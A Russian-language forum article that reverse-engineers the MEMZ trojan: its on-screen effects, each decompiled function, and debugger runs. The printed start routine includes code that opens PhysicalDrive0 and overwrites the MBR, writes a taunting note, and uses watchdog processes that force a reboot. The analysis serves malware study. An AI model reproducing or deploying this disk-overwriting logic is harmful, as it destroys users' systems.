• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья Злой Nyan Cat: Реверс-инжиниринг вируса MEMZ

nyan_pirate.gif


🖐 Приветствую всех читателей Codeby.net 🖐

Многие знают мем Nyan Cat. Также многие знают, насколько опасны компьютерные вирусы. А теперь представьте что будет, если их соединить вместе. Получится вирус MEMZ. Он был создан специально для видеоблогера danooct1 от его подписчика Leurak. На данный момент времени всего насчитывается 4 версии MEMZ. В четвёртой версии было добавлено два предупреждения перед запуском.
Давайте изучим его!



Пароль: Codeby.net

План действий:

  1. Посмотрим как он ведёт себя в привычной среде обитания.
  2. Проведём статический анализ.
  3. И не забудем про динамический анализ.
  4. Соберём всю полученную информацию вместе.



Изучаем поведение MEMZ.

MEMZ комфортно чувствует себя в Windows XP. Поведение этого вируса уже было заснято другими людьми. Предлагаю вам взглянуть.

Windows 10:

Windows XP:

Теперь мы можем составить последовательность действий этого вируса.

I
Открывается браузер по умолчанию, а в них такие поисковые запросы.

what happens if you delete system32
virus.exe
stanky danky maymays
mcaffee vs norton
и другие

1627539651286.png


II
Открываются некоторые стандартные программы:
cmd.exe
calc.exe
notepad.exe
и другие


III
Появляются звуки ошибки и восклицания.

IV
Цвета меняются на противоположные.

1627539737076.png


V
Появляются окна с заголовком "lol" и текстом "Still using this computer?".

1627539779268.png


VI
Появляются иконки ошибки и восклицания, следующие за мышкой.

VII
Переворачиваются некоторые надписи в окнах.

VIII
Туннельный эффект.

1627539836335.png


Перезапуск ПК

Тут нас встречает надпись Your computer has been trashed by the MEMZ trojan. Now enjoy the Nyan Cat...

И сам Nyan Cat.

nyan.gif



Время для реверс-инжиниринга и статического анализа!

Начнём осмотр не с главной функции! (start или main. Это зависит от программы) Мы изучим все функции и узнаем их назначения. После этого нам легче будет понять всю программу.
Во время анализа не будем рассматривать каждую функцию в ассемблерном листинге. Это займёт очень много времени. Вместо этого, мы воспользуемся встроенным декомпилятором. По умолчанию клавиша F5.
В декомпиляторе существует такая функция, как show/hide casts. "Касты" нужны для понимания некоторых вещей. Например: соглашения о вызовах __cdecl, __stdcall и __fastcall, типы аргументов. Мы отключим их. По умолчанию клавиша \ или нажать правую кнопку мыши, а далее, выбрать нужный нам пункт.
IDA называет функции таким образом: sub (подфункция) _11C1000 (адрес в программе). Функции при анализе я переименовал.

1627540345141.png



GenRandom_data_to_buffer (sub_11C1A55)

1627540386841.png


Функция GenRandom_data_to_buffer возвращает буфер с криптографически случайными байтами.

Crypto API помогает при написании программ, где применяется криптография.

Все алгоритмы шифрования, хеширования и т.д. не находятся в Crypto API, а реализуются в отдельных, динамических библиотеках – «криптопровайдерах» (Cryptographic Service Provider – CSP). Сам же Crypto API предоставляет интерфейс для работы с CSP.

С помощью функции CryptAcquireContext производится инициализация криптопровайдера (получение ссылки на HANDLE, которую в дальнейшем можно использовать в других функциях). Если HANDLE не получен, то процесс завершается (ExitProcess). При удачной инициализации HANDLE, вызывается функция CryptGenRandom. Она заполняет буфер (pbBuffer) криптографически случайными байтами. В конце функция возвращает этот буфер.



reboot_shutdown_pc (sub_11C1021)

1627540681288.png


Эта функция выполняет перезагрузку ПК.

1 - Цикл do {} while {} создаёт потоки IF_kill_trojan (20 штук). Задача этого потока выводить одно из вариантов сообщений при попытке "убить" процесс вируса.

1627541261294.png


2 - Функция reboot_shutdown_pc повышает привилегии процесса до SeShutdownPrivilege.
LoadLibrary загружает ntdll. GetProcAddress извлекает адрес экспортируемой функции из ntdll (hLIB). Далее, идёт проверка (if), что адреса функций получены. Функция OpenProcessToken открывает маркер доступа, связанный с процессом. Далее, функция LookupPrivilegeValue извлекает локальный уникальный идентификатор (LUID), используемый в системе, для локального представления указанных привилегий (SeShutdownPrivilege). Функция AdjustTokenPrivileges делает доступными привилегии для заданного маркера доступа (access token) процесса.
3 - Происходит перезапуск системы (ExitWindowsEx).


1627541125816.png



check_processes (sub_11C114A)

1627541219465.png


Эта функция выполняет проверку на существование процессов MEMZ.


1 - Функция GetCurrentProcess извлекает псевдодескриптор для текущего процесса. Далее, GetProcessImageFileName извлекает имя_1 исполняемого файла для указанного процесса.
2 - Начинается бесконечный цикл (while 1). CreateToolhelp32Snapshot создает снапшот запущенных процессов. Process32First извлекает информацию о первом процессе, обнаруженном в снапшоте.
3 - Мы входим в ещё один цикл (do {} while {}). Он будет работать пока в снапшоте остались процессы из которых не извлекли информацию. (Process32Next извлекает информацию о следующем процессе, записанном в снапшоте).
Цикл извлекает имя_2 исполняемого файла другого процесса (GetProcessImageFileName). Если имя_1 первого процесса не совпадает с именем_2 другого процесса, то прибавляется счётчик. Если этот счётчик будет меньше zero (0), то вызывается функция reboot_shutdown_pc. Если счётчик будет больше zero (0), то теперь zero будет равен counter!
Далее, бесконечный цикл повторяется, но уже с другим значением zero. Таким образом будет выполняться проверка процессов и при несоответствии количества - перезагрузка ПК.


open_google (sub_11C14FC)

1627541614318.png


Эта функция выполняет один из списка заранее заданных в программе запросов в гугл через браузер по умолчанию.

Выполняется функция ShellExecute, которая выполняет open [запрос]. Далее, запрос открывается в браузере по умолчанию.

Варианты запросов:

1627541701773.png




setCursorPosition (sub_11C156D)

1627541734196.png


Эта функция может перемещать курсор в произвольное место на рабочем столе и получать координаты курсора.

1 - Функция GetCursorPos извлекает позицию курсора, в экранных координатах (x,y).
2 - Переменным rand_buff, v9 выставляются произвольные значения.
3 - Функция SetCursorPos перемещает курсор в заданные экранные координаты.


invert_color_screen (sub_11C15D4)

1627543026636.png

Эта функция инвертирует цвета.

Функция GetDesktopWindow возвращает значение дескриптора окна рабочего стола (hDW). Далее, функция GetWindowDC извлекает контекст устройства (hDC) для всего окна. Затем, функция GetWindowRect извлекает размеры рамки заданного окна (прямоугольник) в Rect. Потом, функция BitBlt выполняет передачу данных о цвете (битовых блоков), соответствующих прямоугольнику пикселей. Особый флаг BitBlt (Это самый последний аргумент) NOTSRCCOPY ( ) копирует инвертированный исходный прямоугольник в целевой. В конце функция ReleaseDC освобождает контекст устройства (DC) для использования другими функциями.

Теперь, мы запустим данный код в тестовой среде (VirtualBox + Visual Studio) и проверим, что он отвечает за инвертирование цветов.

Код для Visual Studio
C++:
#include <Windows.h>

int main()
{
    HWND hDW; // edi
    HDC hDC; // esi
    struct tagRECT Rect; // [esp+8h] [ebp-10h] BYREF

    hDW = GetDesktopWindow();
    hDC = GetWindowDC(hDW);
    GetWindowRect(hDW, &Rect);
    BitBlt(hDC, 0, 0, Rect.right - Rect.left, Rect.bottom - Rect.top, hDC, 0, 0, 0x330008u);
    ReleaseDC(hDW, hDC);
    return 0;
}

Результат:

1627543240972.png



Gen_message_Still_using_this_computer (sub_11C162A)

1627543291894.png


Эта функция выводит окно с сообщением "Still using this computer?" и названием окна "lol".

Функция CreateThread создаёт поток MESSAGE_Still_using_this_computer.

1627543410907.png

Этот поток начинается с функции GetCurrentThreadId, которая извлекает значение идентификатора вызывающего потока.
Потом функция SetWindowsHookEx реагирует на особое событие, устанавливает hook (hook разбирать не будем). Далее, MessageBoxW выводит окно с сообщением "Still using this computer?" с названием окна "lol". В конце функция UnhookWindowsHookEx убирает hook, установленный SetWindowsHookEx.



rotate_text_in_windows (sub_11C1688)

1627543449088.png

Эта функция переворачивает некоторый текст в окнах.

В начале функции GetDesktopWindow возвращает значение дескриптора окна рабочего стола (hDW). Функция EnumChildWindows перечисляет дочерние окна, которые принадлежат рабочему столу (hDW), в свою очередь, передавая дескриптор каждого дочернего окна в функцию повторного вызова (set_rotate_text), определяемую программой. Эта операция переворачивает текст в каждом дочернем окне.



set_rotate_text (sub_11C193C)

1627543548468.png



Функция set_rotate_text начинается с GlobalAlloc, которая выделяет глобальный блок памяти (allocmem). Далее, происходит проверка. Функция SendMessageTimeout отправит сообщение WM_GETTEXT (0xD), чтобы копировать текст, соответствующий тексту в буфере окна, который обеспечивается вызывающей программой. Если текст скопирован, то вызывается функция rotate_data, которая переворачивает данные (текст). Далее, вызывается SendMessageTimeout c сообщением WM_SETTEXT (0xC), чтобы установить новый (перевёрнутый) текст окна. В конце GlobalFree освобождает заданный глобальный блок памяти.



play_system_sounds (sub_11C16A0)

1627543749094.png


Эта функция проигрывает системные звуки.

Функцией GenRandom_data_to_buffer генерируются произвольные данные в rand_buff. Далее, функция PlaySound воспроизводит звук. Звук выбирается с помощью rand_buff.

Варианты звуков:

1627543796317.png







Screen_work_glitch (sub_11C16CD)

1627544253563.png

Эта функция создаёт вот такин эффекты glitch.

1627544230271.png



От функции GetDesktopWindow мы получаем значение дескриптора окна рабочего стола (hDW). Далее, функция GetWindowDC извлекает контекст устройства (hdc) для всего окна, включая области заголовка, меню и полосы прокрутки. Потом мы получаем размеры рамки ограничивающей прямоугольник заданного окна (функция GetWindowRect). После этих функций происходит генерация многих параметров (x_dest, y_dest, x_source, y_source) с помощью функций GenRandom_data_to_buffer. Эти параметры используются в функции BitBlt, выполняющей передачу битовых блоков данных о цвете, соответствующих прямоугольнику пикселей из заданного исходного контекста (hdc) устройства в целевой контекст устройства (hdc). Последний флаг BitBlt - SRCCOPY ( ) копирует исходный прямоугольник непосредственно в целевой прямоугольник. В конце функция ReleaseDC освобождает контекст устройства (hdc) для использования другими функциями.



keyboard_emulation_work (sub_11C17A5)

1627544455966.png


Эта функция эмулирует нажатия клавиш клавиатуры.

pInputs.type = 1 означает, что будет эмуляция нажатия клавиш клавиатуры ( ).
pInputs.ki.wVk = GenRandom_data_to_buffer(this) % 42 + 48 устанавливает произвольный код виртуальной клавиши. Код должен быть значением в диапазоне 1 - 254. ( ).
Затем, SendInput синтезирует нажатия клавиши.




help_make_tunnel_effect (sub_11C17E9)

1627544535596.png


Эта функция создаёт туннельный эффект экрана.

Функция GetDesktopWindow возвращает значение дескриптора окна рабочего стола, а GetWindowDC извлекает контекст устройства (HDC) для всего окна. Далее, функция GetWindowRect извлекает размеры рамки ограничивающей прямоугольник заданного окна. Теперь StretchBlt копирует точечный рисунок из исходного прямоугольника (HDC) в целевой прямоугольник (HDC), растягивая его. Последний флаг SRCCOPY ( ) копирует исходный прямоугольник непосредственно в целевой прямоугольник.

Повторим это в Visual Studio

Код:
#include <Windows.h>
#include <cstdlib>

int main()
{
    HWND HWND; // edi
    HDC HDC; // esi
    struct tagRECT Rect; // [esp+8h] [ebp-18h] BYREF
    double v5; // [esp+18h] [ebp-8h]

    HWND = GetDesktopWindow();
    HDC = GetWindowDC(HWND);
    GetWindowRect(HWND, &Rect);
    StretchBlt(HDC, 50, 50, Rect.right - 100, Rect.bottom - 100, HDC, 0, 0, Rect.right, Rect.bottom, 0xCC0020u);
    ReleaseDC(HWND, HDC);
    return 0();
}

Результат:

1627544734467.png



draw_icons (sub_11C1866)

1627544800398.png


Эта функция рисует иконки ошибки и предупреждения.

xi = GetSystemMetrics(11) / 2 присваивает xi ширину значка по умолчанию.
yi = GetSystemMetrics(12) / 2 присваивает yi высоту значка по умолчанию.
Функция GetDesktopWindow возвращает значение дескриптора окна рабочего стола, а GetWindowDC извлекает контекст устройства (hDC) для всего окна. Далее, с помощью функции GetCursorPos извлекаем позицию курсора, в экранных координатах. Затем, функция LoadIcon загружает указанную иконка ошибки ( IDI_ERROR - 0x7F01). Далее, Функция DrawIcon рисует значок или курсор в контекст указанного устройства. Потом в цикле if загружается и рисуется иконка предупреждения (IDI_WARNING - 0x7F03). В конце функция ReleaseDC освобождает контекст устройства (hDC) для использования другими функциями.


start (sub_11C122D)

Разделим эту функцию на блоки кода.

C++:
void __noreturn start()
{
  const WCHAR *path; // eax
  LPWSTR *path_MEMZ_exe; // eax
  HANDLE hMBR; // ebx
  _BYTE *alloc_memory; // eax
  unsigned int counter; // edi
  _BYTE *ptr_alloc_mem; // ecx
  unsigned int i; // ecx
  HANDLE hFL; // esi
  unsigned int counter_2; // edi
  DWORD *open_file_and_write; // esi
  WCHAR *alloc_memory_2; // esi
  int v11; // edi
  SHELLEXECUTEINFOW pExecInfo; // [esp+Ch] [ebp-64h] BYREF
  MSG Msg; // [esp+48h] [ebp-28h] BYREF
  DWORD NumberOfBytesWritten; // [esp+64h] [ebp-Ch] BYREF
  HANDLE hObject; // [esp+68h] [ebp-8h]
  int pNumArgs; // [esp+6Ch] [ebp-4h] BYREF

  xs = GetSystemMetrics(0);
  ys = GetSystemMetrics(1);
  path = GetCommandLineW();
  path_MEMZ_exe = CommandLineToArgvW(path, &pNumArgs);
  if ( pNumArgs > 1 )
  {
    if ( !lstrcmpW(path_MEMZ_exe[1], L"/watchdog") )
    {
      CreateThread(0, 0, check_processes, 0, 0, 0);
      pExecInfo.lpVerb = 48;
      pExecInfo.lpParameters = DefWindowProcW_or_shutdown;
      pExecInfo.hIcon = "hax";
      pExecInfo.lpFile = 0;
      pExecInfo.lpDirectory = 0;
      pExecInfo.nShow = 0;
      pExecInfo.hInstApp = 0;
      pExecInfo.lpIDList = 0;
      pExecInfo.lpClass = 0;
      pExecInfo.hkeyClass = 0;
      pExecInfo.dwHotKey = 0;
      pExecInfo.hProcess = 0;
      RegisterClassExA(&pExecInfo.lpVerb);
      CreateWindowExA(0, "hax", 0, 0, 0, 0, 100, 100, 0, 0, 0, 0);
      while ( GetMessageW(&Msg, 0, 0, 0) > 0 )
      {
        TranslateMessage(&Msg);
        DispatchMessageW(&Msg);
      }
    }






    hMBR = CreateFileA("\\\\.\\PhysicalDrive0", 0xC0000000, 3u, 0, 3u, 0, 0);
    hObject = hMBR;
    if ( hMBR == -1 )
      ExitProcess(2u);
    alloc_memory = LocalAlloc(0x40u, 0x10000u);
    counter = 0;
    if ( *&aNyanCat[11] )
    {
      ptr_alloc_mem = alloc_memory;
      do
      {
        ++counter;
        *ptr_alloc_mem = ptr_alloc_mem[byte_11C2118 - alloc_memory];
        ++ptr_alloc_mem;
      }
      while ( counter < *&aNyanCat[11] );
    }
    for ( i = 0; i < 0x7A0; ++i )
      alloc_memory[i + 510] = byte_11C2248[i];
    if ( !WriteFile(hMBR, alloc_memory, 0x10000u, &NumberOfBytesWritten, 0) )
      ExitProcess(3u);
    CloseHandle(hObject);







    hFL = CreateFileA("\\note.txt", 0xC0000000, 3u, 0, 2u, 0x80u, 0);
    if ( hFL == -1 )
      ExitProcess(4u);
    if ( !WriteFile(
            hFL,
            "YOUR COMPUTER HAS BEEN FUCKED BY THE MEMZ TROJAN.\r\n"
            "\r\n"
            "Your computer won't boot up again,\r\n"
            "so use it as long as you can!\r\n"
            "\r\n"
            ":D\r\n"
            "\r\n"
            "Trying to kill MEMZ will cause your system to be\r\n"
            "destroyed instantly, so don't try it :D",
            0xDAu,
            &NumberOfBytesWritten,
            0) )
      ExitProcess(5u);
    CloseHandle(hFL);
    ShellExecuteA(0, 0, "notepad", "\\note.txt", 0, 10);
    counter_2 = 0;
    open_file_and_write = &off_11C5130;
    do
    {
      Sleep(open_file_and_write[1]);
      CreateThread(0, 0, sleep_or_thread_parametr, open_file_and_write, 0, 0);
      ++counter_2;
      open_file_and_write += 2;
    }
    while ( counter_2 < 0xA );
    while ( 1 )
      Sleep(0x2710u);
  }







  if ( MessageBoxA(
         0,
         "The software you just executed is considered malware.\r\n"
         "This malware will harm your computer and makes it unusable.\r\n"
         "If you are seeing this message without knowing what you just executed, simply press No and nothing will happen."
         "\r\n"
         "If you know what this malware does and are using a safe environment to test, press Yes to start it.\r\n"
         "\r\n"
         "DO YOU WANT TO EXECUTE THIS MALWARE, RESULTING IN AN UNUSABLE MACHINE?",
         "MEMZ",
         0x34u) == 6
    && MessageBoxA(
         0,
         "THIS IS THE LAST WARNING!\r\n"
         "\r\n"
         "THE CREATOR IS NOT RESPONSIBLE FOR ANY DAMAGE MADE USING THIS MALWARE!\r\n"
         "STILL EXECUTE IT?",
         "MEMZ",
         0x34u) == 6 )
  {
    alloc_memory_2 = LocalAlloc(0x40u, 0x4000u);
    GetModuleFileNameW(0, alloc_memory_2, 0x2000u);
    v11 = 5;
    do
    {
      ShellExecuteW(0, 0, alloc_memory_2, L"/watchdog", 0, 10);
      --v11;
    }
    while ( v11 );
    pExecInfo.cbSize = 60;
    pExecInfo.lpFile = alloc_memory_2;
    pExecInfo.lpParameters = L"/main";
    pExecInfo.fMask = 64;
    pExecInfo.hwnd = 0;
    pExecInfo.lpVerb = 0;
    pExecInfo.lpDirectory = 0;
    pExecInfo.hInstApp = 0;
    pExecInfo.nShow = 10;
    ShellExecuteExW(&pExecInfo);
    SetPriorityClass(pExecInfo.hProcess, 0x80u);
  }
  ExitProcess(0);
}


Первый блок кода.

1627544974816.png


Этот блок кода вызывает функцию check_processes и настраивает окна.



С помощью функции GetSystemMetrics мы получаем длину и ширину экрана. Далее, функция GetCommandLine извлекает командную строку для текущего процесса.
Функция CommandLineToArgvW подробно анализирует командную строку Unicode, а также помогает получить установленные значения argv и argc.
Потом MEMZ анализирует количество аргументов. Далее, начинается большое действие в цикле if (назовём if_big). Если аргументы есть, то идёт проверка на присутствие флага /watchdog. При присутствии флага /watchdog создаётся поток check_processes, который проверяет наличие процессов MEMZ. Затем, функция RegisterClassEx регистрирует класс окна и CreateWindowEx использует его. Перед вызовом функции RegisterClass настраиваются параметры структуры WNDCLASSEX, которая содержит информацию о классе окна. Параметр lpfnWndProc (pExecInfo.lpParameters = DefWindowProcW_or_shutdown) указывает на оконную процедуру DefWindowProcW_or_shutdown. Она обрабатывает сообщения.

Если сообщение это WM_CLOSE (0x10 = 16) или WM_ENDSESSION (0x16 = 22), то функция DefWindowProc вызывается и завершает работу окна (WM_CLOSE) или информирует приложение о том, завершается ли сеанс (выключение ПК). Для всех остальных сообщений будет вызываться функция reboot_shutdown_pc.

Потом функция CreateWindowEx создаёт окно.
В конце этого куска кода есть цикл (while). Он будет работать пока функция GetMessage извлекает сообщение из очереди сообщений вызывающего потока. Эти сообщения TranslateMessage переводит сообщения виртуальных клавиш в символьные сообщения, а DispatchMessage распределяет (доставляет) сообщение оконной процедуре.

Если запустить MEMZ с флагом /watchdog, а затем, попытаться ещё раз запустить MEMZ, то появиться множество сообщений. Далее, компьютер перезагрузится, но Nyan Cat'a не будет.

1627545398851.png


Второй фрагмент кода.


1627547186788.png


Этот фрагмент кода перезаписывает MBR раздел Nyan Cat'ом.


В начале мы открываем MBR раздел ( CreateFileA("\\\\.\\PhysicalDrive0", 0xC0000000, 3u, 0, 3u, 0, 0) ). Если не получилось открыть MBR раздел, то процесс завершается (ExitProcess). Далее, мы выделяем фрагмент локальной памяти (alloc_memory) с помощью LocalAlloc. Потом идёт проверка на символ / в строке Nyan Cat.../. Если он присутствует, то начинается перезапись части байтов alloc_memory другими данными (назовём эти данные nyan_cat_bytes). Потом в цикле for другая часть байтов добавляется к новым в alloc_memory. Затем, байты из alloc_memory записывают в MBR раздел. Если записать байты не удалось, то процесс завершается (ExitProcess). В конце функция CloseHandle закрывает дескриптор открытого объекта (MBR).

Если взять байты bios_bytes и записать в файл, то получиться файл типа BIOS (ia32) ROM Ext. (-125*512).

Bash:
file bios_nyan_cat
bios_nyan_cat: BIOS (ia32) ROM Ext. (-125*512)



Третий фрагмент кода.


1627547147002.png


Этот блок кода выполняет функции, связанные с визуальной составляющей.

В начале этого фрагмента создаётся файл "note.txt" (CreateFile) в начале диска C (\\). Если MEMZ не смог его создать, то процесс завершается (ExitProcess). Затем, в этот файл записывается сообщение (WriteFile). Если сообщение не удалось записать, то процесс завершается (ExitProcess). Далее, функция CloseHandle закрывает дескриптор открытого объекта (note.txt). После записи сообщения, открывается блокнот (notepad.exe) с этим сообщением. Когда сообщение показано, начинается цикл do {} while {}. Он останавливает (Sleep) свою работу на 30000 миллисекунд (30 секунд). А после окончания времени, создаёт поток sleep_or_thread_parametr, который вызывает функцию open_google и все остальные. А далее, будет вызываться функция Sleep на 10000 миллисекунд (10 секунд). Но другие функции всё ещё будут работать, так как они работают в другом потоке. А ещё здесь заканчивается действие if_big. К этому блоку кода мы скоро вернёмся.

1627476819937.png


Сообщение:
Код:
YOUR COMPUTER HAS BEEN FUCKED BY THE MEMZ TROJAN.
Your computer won't boot up again, so use it as long as you can!
Trying to kill MEMZ will cause your system to be destroyed instantly, so don't try it :D


Четвертый блок кода

1627550587454.png


Этот блок кода запускает остальные процессы MEMZ с различными аргументами и выводит предупреждение.

Сначала функция MessageBox выводит предупреждение с кнопками "Yes", "No" ( ) и если нажата кнопка Yes , то (код 6 значит была выбрана кнопка "Да".) выводится второе предупреждение с кнопками "Yes", "No", но с другим сообщением. После этого выделяется фрагмент локальной памяти (alloc_memory_2) и функция GetModuleFileName извлекает полный путь к исполняемому файлу MEMZ, который попадает во фрагмент локальной памяти. Далее, счётчик v11 = 5. Он нужен для работы цикла do {} while {}. В теле цикла выполняется запуск MEMZ с флагом /watchdogs. Получается, что будет запущено дополнительных 5 экземпляров MEMZ. После запуска своих экземпляров, идёт подготовка для запуска нового экземпляра (устанавливаются значения некоторых параметров структуры SHELLEXECUTEINFOA) MEMZ с аргументов /main. Потом новый экземпляр MEMZ запускается с помощью ShellExecuteEx. А функция SetPriorityClass устанавливает класс приоритета HIGH_PRIORITY_CLASS для заданного процесса. В конце самый первый процесс MEMZ завершает свою работу, а вместо него теперь будут работать 5 процессов MEMZ с флагом /watchdogs и 1 процесс с флагом /main. Процесс с флагом /main выполняет большую часть работы.

Обозначает процесс, выполняющий критические по времени задачи, которые должны быть выполнены немедленно для того, чтобы запустить их правильно. Потоки процесса высокоприоритетного класса выгружают потоки процессов нормального класса или класса приоритета в бездействующей системе. Пример - Список задач Windows, который должен быстро отреагировать, когда вызывается пользователем, независимо от загрузки на операционной системе. Высокоприоритетный класс используйте крайне осторожно, потому что программа высокоприоритетного класса, ограниченная возможностями процессора, может использовать почти все циклы доступа к нему.
Количество процессов, если запустить MEMZ в виртуальной машине.

1627471741903.png




Динамический анализ.

Чтобы собрать всё воедино, нам поможет отладчик.

Просто запустим MEMZ.


При обычном запуске появляются 2 предупреждения. Далее, запускается MEMZ с аргументом /main. При запуске под отладчиком у нас процессов меньше по сравнению с запуском без отладчика (2 vs 6). MEMZ считает, что некоторые процессы были убиты и перезапускает пк. MEMZ с аргументом /main уже перезаписал MBR раздел. Следует посмотреть на это под отладчиком.

Запуск MEMZ с флагом /main под отладчиком.


Первым делом идёт перезапись раздела с MBR на Nyan Cat. Далее, создаётся файл note.txt с сообщением и открывается в блокноте. После этого начинается самое интересное. Создаётся поток sleep_or_thread_parametr, который перебирает смещения функций, работающих с визуальной частью (туннельный эффект, иконки, инвертирование цветов), мышкой, клавиатурой и звуками, открытием браузера по умолчанию с запросами, окнами "Still using this computer?" и переворачиванием некоторого текста. Если поставить точку останова, как на видео, то можно посмотреть на то, как идёт наслоение разных эффектов. Если "убить" этот процесс, то компьютер не перезагрузиться, но раздел MBR перезапишется. Флаг /main отвечает за всю основную работу с визуальной составляющей и перезаписью MBR. За контроль процессов отвечает флаг /watchdog.

Запуск MEMZ с флагом /watchdog под отладчиком.

Первым делом идёт создание потоков, контролирующих процессы и перезапускающих компьютер. Далее, идёт подготовка окон для предупреждений и получение сообщений. Если перезапустить ПК, то Nyan Cat не появится.

Теперь вы знаете, что MEMZ состоит из двух частей. Первая часть - MEMZ с флагом /main, отвечающая за всю основную работу с визуальной составляющей и перезаписью MBR. А вторая - MEMZ с флагом /watchdog, отвечающая за контроль процессов и перезапуск ПК. Обе части запускаются при обычном запуске без параметров.

Спасибо за то, что дочитали эту статью. Надеюсь, что она вам понравилась. Желаю всем удачи! :)
 
Последнее редактирование модератором:

DragonFly

Green Team
01.06.2020
221
65
BIT
3
Очень хорошо и подробно расписаны все функции
Спасибо , очень интересно и познавательно!
 
  • Нравится
Реакции: Mogen
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!